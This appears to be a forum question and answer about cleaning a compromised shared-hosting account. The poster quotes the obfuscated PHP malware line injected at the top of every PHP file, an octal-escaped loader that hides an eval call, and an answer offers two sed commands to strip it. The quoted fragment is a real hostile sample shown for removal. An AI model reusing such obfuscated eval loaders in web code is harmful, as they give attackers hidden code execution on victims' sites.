I got hacked in my shared hosts. All php files has this kind of code in directory. My bet is that I have old WordPress installations that has put some malware int web directory. Shame on me when I didn't remove those. Now I have 2 active websites wich has malware on, and I don't have backups. All malware files is on the first line <?php ........ ?> Now I need to remove that. I tried Remove the first line with sed with a regular expression but it didn't help. It didn't remove anything.
<?php $xmrcycpmjf= 6767~6<Cw6<pd%x5c%x7825w6Z6<.57825mm)%x5c%x7825%x5c%x7878:-.........!%x5c%x7825tzw%x5x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%x5c25h>#]y31]278]y35\141\x70\146\x66\153\x74\154\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x34\55\x31\71\x37\51\x29\54\x20\143\x68\162\x28\50\x35\65\x35\55\x34\66\x33\51\x29\54\x20\171\x79\166\x6f\151\x6b\157\x68\157\x68\50\x24\143\x6d\142\x78\170\x61\153\x63\144\x6e\54\x24\170\x6d\162\x63\171\x63\160\x6d\152\x66\51\x29\51\x3b\40\x2f\52\x20\157\x73\144\x6f\167\x6d\150\x72\145\x7a\40\x2a\57\x20"; $vmdcgfyvud=substr($xmrcycpmjf,(39882-29769),(52-40)); $vmdcgfyvud($efppuciabz, $ucpqtjetra, NULL);...... $vmdcgfyvud=$ucpqtjetra; $vmdcgfyvud=(409-288); $xmrcycpmjf=$vmdcgfyvud-1; ?><?php echo "test"?>
and I want it to look like this
<?php echo "test"?>
Just try this simple sed command,
sed '1s/.*\(<.*\)$/\1/g' file
OR
sed '1s/.*</</g' file